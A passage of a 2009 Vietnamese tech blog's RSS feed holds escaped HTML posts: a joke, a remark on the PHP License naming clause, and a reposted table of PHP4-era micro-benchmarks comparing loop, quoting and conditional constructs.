/&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/kO4BF67pvsc&amp;amp;hl=en&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/kO4BF67pvsc&amp;amp;hl=en&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-3539156674097711025?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/08/season-in-sun.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>1</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-2210113158383181621</guid><pubDate>Fri, 31 Jul 2009 07:54:00 +0000</pubDate><atom:updated>2009-07-31T14:55:53.632+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>tóc vàng hoe</category><category domain='http://www.blogger.com/atom/ns#'>trí thông minh</category><title>Trí thông minh</title><description>&lt;div class="content"&gt;     &lt;span class="print-link"&gt;&lt;/span&gt; &lt;p&gt;Một cô tóc vàng hoe ngồi cạnh một luật sư trên máy bay. Mới nhìn thấy mái tóc của cô ta, vị luật sư đã tỏ ra khinh thường. Ông ta rủ cô gái chơi trò thử trí thông minh.&lt;br /&gt;&lt;br /&gt;Hai người thỏa thuận sẽ đố nhau 10 câu. Nếu cô tóc vàng không trả lời được một câu, cô sẽ phải trả 5 đôla. Còn nếu vị luật sư thua, ông ta sẽ phải bỏ ra 50 đô. Vị luật sư đồng ý vì biết chắc rằng ông ta không thể thua.&lt;br /&gt;&lt;br /&gt;Người tự cho là thông minh hỏi trước: -Khoảng cách giữa trái đất và hành tinh gần nhất là bao nhiêu?.&lt;br /&gt;&lt;br /&gt;Chẳng nói một lời, cô tóc vàng rút ví trả ngay 5 đô, rồi hỏi: -Cái gì leo lên đồi bằng 3 chân, nhưng xuống đồi bằng 4 chân?.&lt;br /&gt;&lt;br /&gt;Vị luật sư ngồi nghĩ mãi, nghĩ mãi, hết tra máy tính rồi lại gọi điện nhờ tư vấn, nhưng vẫn chẳng tìm ra câu trả lời. Cuối cùng, giận dữ và thất vọng, ông ta rút ra 50 đô đưa cho đối thủ.&lt;br /&gt;&lt;br /&gt;Cô tóc vàng chẳng nói chẳng rằng đút ngay tiền vào túi. Kẻ thua cuộc nài nỉ: -Cô cho tôi biết đáp án đi nào!.&lt;br /&gt;&lt;br /&gt;Lập tức, cô gái lại lấy ra 5 đô trả cho vị luật sư.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-2210113158383181621?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/07/tri-thong-minh.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>2</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-8548532191263032514</guid><pubDate>Thu, 30 Jul 2009 02:50:00 +0000</pubDate><atom:updated>2009-07-30T10:14:54.358+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>license</category><category domain='http://www.blogger.com/atom/ns#'>php</category><title>Từ PHP không được sử dụng trong sản phẩm viết bằng PHP</title><description>Tháng này bận quá, đến giờ mới rảnh rảnh ngồi coi cái PHP License version 3.01 tại &lt;a href="http://www.php.net/license/3_01.txt"&gt;http://www.php.net/license/3_01.txt&lt;/a&gt;.&lt;br /&gt;Trong đó, mục 4 có ghi :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;  4. Products derived from this software may not be called "PHP", nor&lt;br /&gt; may "PHP" appear in their name, without prior written permission&lt;br /&gt; from group@php.net.  You may indicate that your software works in&lt;br /&gt; conjunction with PHP by saying "Foo for PHP" instead of calling&lt;br /&gt; it "PHP Foo" or "phpfoo"&lt;br /&gt;&lt;/pre&gt;Sản phẩm không được đặt tên là "PHP" hoặc không có từ PHP xuất hiện trong tên.&lt;br /&gt;Vậy là phpmyadmin, phpcake, phpbb... :|, đồng loạt đi xin permission hết zồi :-j&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/311452429647504548-8548532191263032514?l=canhnm.opensource.com.vn' alt='' /&gt;&lt;/div&gt;</description><link>http://canhnm.opensource.com.vn/2009/07/tu-php-khong-uoc-su-dung-trong-san-pham.html</link><author>noreply@blogger.com (canhnm)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-311452429647504548.post-6709436366743004121</guid><pubDate>Thu, 30 Jul 2009 02:30:00 +0000</pubDate><atom:updated>2009-07-30T09:32:24.620+07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>php</category><category domain='http://www.blogger.com/atom/ns#'>benchmark</category><title>PHP Benchmark tests</title><description>&lt;h1&gt;PHP Benchmark tests&lt;/h1&gt;This article is taken from &lt;span class="small"&gt;php.lt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;table&gt; &lt;tbody&gt;&lt;tr valign="top"&gt;&lt;td&gt;&lt;strong&gt; NOTE&lt;/strong&gt;  &lt;/td&gt;&lt;td&gt;You must keep in mind to refresh this page a few times to "catch" the right result. The numbers change sometimes drastically during each refresh. I assume that this is because of PHP's memory garbage collector that drops in randomly and also other processes that run on this machine have an influence.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;hr /&gt;&lt;table&gt;&lt;/table&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;READ LOOP: foreach()    vs.     while(list()=each())&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;What is the best way to loop a hash array?&lt;br /&gt;Given is a Hash array with 100 elements, 24byte key and 10k data per entry&lt;br /&gt;I've chosen the large data amount to try out what happens if I reference the data with the &amp;amp;-ref-operator (to avoid copying). But to my surprise the loops are never faster! In tests 5 and 6 are even 10x - 30x slower !! The larger the data entrys are the slower the tests 5 and 6 get! Copying seams always faster then using the &amp;amp;-ref-operator.&lt;strong&gt;&lt;br /&gt;Way ???&lt;br /&gt;Let me know at bs_php@users.sourceforge.net&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#ff8080"&gt;+  411 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: foreach($aHash as $val);&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    6[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#f9ff79"&gt;+  196 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: while(list(,$val) = each($aHash));&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#ff8080"&gt;+  901 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: foreach($aHash as $key=&gt;$val);&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:   14[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#ff8080"&gt;+  938 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;4: while(list($key,$val)= each($aHash));&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:   15[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#ff8080"&gt;+  625 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;5: foreach($aHash as $key=&gt;$val) $tmp[] = &amp;amp;$aHash[$key];&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:   10[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#ff8080"&gt;+  598 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;6: while(list($key) = each($aHash)) $tmp[]=&amp;amp;$aHash[$key];&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    9[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#f9ff79"&gt;+  200 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;7: &lt;strong&gt;Get key-/ value-array:&lt;/strong&gt;  foreach($aHash as $key[]=&gt;$val[]);&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;8: &lt;strong&gt;Get key-/ value-array:&lt;/strong&gt;  array_keys() /  array_values()&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  148 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;9: &lt;strong&gt;STRANGE:&lt;/strong&gt; This is the fasetest code when using the the &amp;amp;-ref-operator (to avoid copying)&lt;br /&gt;$key = array_keys($aHash);&lt;br /&gt;$size = sizeOf($key);&lt;br /&gt;for ($i=0; $i&lt;$size; $i++) $tmp[] = &amp;amp;$aHash[$key[$i]];&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;It must have something to do with PHP4 &lt;a href="http://www.zend.com/zend/art/ref-count.php"&gt;variable ref-count&lt;/a&gt; So you can safely use foreach and only use the &amp;amp;-ref-operator when realy needed OR (according to the link above) when passing objects to functions. (Thanx to Wayne for his help)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;MODIFY LOOP: foreach()    vs.     while(list()=each())&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;While the above test only reads and copies the data the question arised what would happen if I modify each value of the hash above.&lt;br /&gt;Again I an unexpected result. Even if I reduce the data size to 100 byte p. e. it ends up that Nr.3 is 1.5 - 2x faster.&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#ff8080"&gt;+  602 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: foreach($aHash as $key=&gt;$val) $aHash[$key] .= "a";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:   14[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  134 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: while(list($key) = each($aHash)) $aHash[$key] .= "a";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: &lt;strong&gt;STRANGE:&lt;/strong&gt; This is the fasetest code :&lt;br /&gt;$key = array_keys($aHash);&lt;br /&gt;$size = sizeOf($key);&lt;br /&gt;for ($i=0; $i&lt;$size; $i++) $aHash[$key[$i]] .= "a";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;Use foreach unless the hash is lage AND has lage data elements. In that case use variation Nr.3 .&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;For-loop test&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;Is it worth the effort to calculate the length of the loop in advance?&lt;br /&gt;E.g. "for ($i=0; $i&lt;$size; $i++)" instead of  "for ($i=0; $i&lt;sizeof($x);&gt;&lt;/sizeof($x);&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: With pre calc&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#ff8080"&gt;+ 1021 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: Without pre calc&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:   35[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;The test above speeks for it self. Always calculate the length of the loop in advance!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;Using the &amp;amp;-ref-operator as so called "alias"&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;Is a good idea to use the &amp;amp;-ref-operator to substitute (or alias) a complex mutidim-array? . Call 1'000x&lt;br /&gt;E.g. $person = &amp;amp;$aHach["country"]["zip"]["streat"]["number"]["name"]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  103 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: NO Aliasing. Using: $aSingleDimArray[$i]&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: Aliasing. Using: $alias = &amp;amp;$aSingleDimArray[$i]&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  147 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: NO Aliasing. Using: $aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"]&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    5[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  110 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;4: Aliasing. Using: $alias = &amp;amp;$aMultiDimArray[$i]["aaaaa"]["aaaaaaaaaa"]&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#fccb96"&gt;+  208 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;5: NO Aliasing. Using: veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"]&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    7[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  126 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;6: Aliasing. Using: $alias = &amp;amp;$veryMultiDimArray[$i]["a"]["aa"]["aaa"]["aaaa"]["aaaaa"]&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    4[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;It seams to be ok to use aliases. It also makes the code more readabel. But I was expecting to get a lager performance gain; especially with very multdimetional arrays.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;$obj = new SomeClass()    vs.    $obj =&amp;amp; new SomeClass() using the =&amp;amp;-ref-operator&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;Is a good idea to use the =&amp;amp;-ref-operator when creating a new object? Call 1'000x&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  103 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: $obj = new SomeClass()&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    4[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: $obj =&amp;amp; new SomeClass()&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    4[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#fccb96"&gt;+  207 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: $obj =&amp;amp; $someClass-&gt;f();&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    8[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  135 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;4: $obj = $someClass-&gt;f();&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    6[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;There seams to be no difference in performance.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;double (")    vs.    single (') quotes&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;Is a there a difference in using double (") and single (') quotes for strings. Call 1'000x&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: single (') quotes. Just an empty string: $tmp[] = '';&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  102 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: double (") quotes. Just an empty string: $tmp[] = "";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  114 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: single (') quotes. 20 bytes Text :  $tmp[] = 'aaaaaaaaaaaaaaaaaaaa';&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  111 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;4: double (") quotes. 20 bytes Text :  $tmp[] = "aaaaaaaaaaaaaaaaaaaa";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  111 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;5: single (') quotes. 20 bytes Text and 3x a $ :  $tmp[] = 'aa $ aaaa $ aaaa $ a';&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#f9ff79"&gt;+  172 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;6: double (") quotes. 20 bytes Text and 3x a $ :  $tmp[] = "aa $ aaaa $ aaaa $ a";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  111 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;7: double (") quotes. 20 bytes Text and 3x a \$ :  $tmp[] = "aa \$ aaaa \$ aaaa \$ a";&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;Single and double quoted strings behave almost the same with one exception: Don't use the a lonely ($) in double quoted string unless you want to reference a PHP-var; or use (\$). &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;isSet()    vs.    empty()    vs.    is_array()&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;What is the performance of isSet() and empty(). Call 2'000x&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: isSet() with var that was set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  101 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: empty() with var that was set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  108 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: isSet() with var that was *not* set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  101 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;4: empty() with var that was *not* set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  127 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;5: isSet() with array-var that was set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  131 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;6: empty() with array-var that was set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  125 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;7: isSet() with array-var that was *not* set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  126 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;8: empty() with array-var that was *not* set&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  140 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;9: is_array() of an array&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  140 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;10: is_array() of a string&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#ff8080"&gt;+  343 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;11: is_array() of a non set value&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    4[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  115 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;12: isSet() AND is_array() of a non set value&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    1[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e8e7e6"&gt;&lt;td colspan="3" style="font-size: 12px; font-style: italic; font-weight: bold;"&gt;Conclusion:&lt;br /&gt;isSet() and empty() are identical. Interesting that a is_array() on a unset val is 3x slower. So alway check if val is set at all befor using type-checking. E.g. if (isSet($foo) AND is_array($foo))&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr /&gt;&lt;table width="95%" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr align="left" bgcolor="#bcd6f1"&gt;&lt;th colspan="3"&gt;Test:&lt;br /&gt;switch/case    vs.    if/elseif&lt;/th&gt;&lt;/tr&gt;&lt;tr bgcolor="#bcd6f1"&gt;&lt;td colspan="3"&gt;Is a there a difference between switch and if elseif. Call 1'000x&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  131 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;1: if and elseif (using ==)&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    3[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#ecf5ff"&gt;&lt;td bgcolor="#79ff79"&gt;+  100 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;2: if and elseif (using ===)&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#e1fffe"&gt;&lt;td bgcolor="#79ff79"&gt;+  107 %&lt;/td&gt;&lt;td style="font-size: 11px;" width="65%"&gt;3: case&lt;/td&gt;&lt;td style="font-family: courier;" width="25%"&gt;Total time:    2[ms]&lt;/td&gt;&lt;/tr&gt;&lt;tr 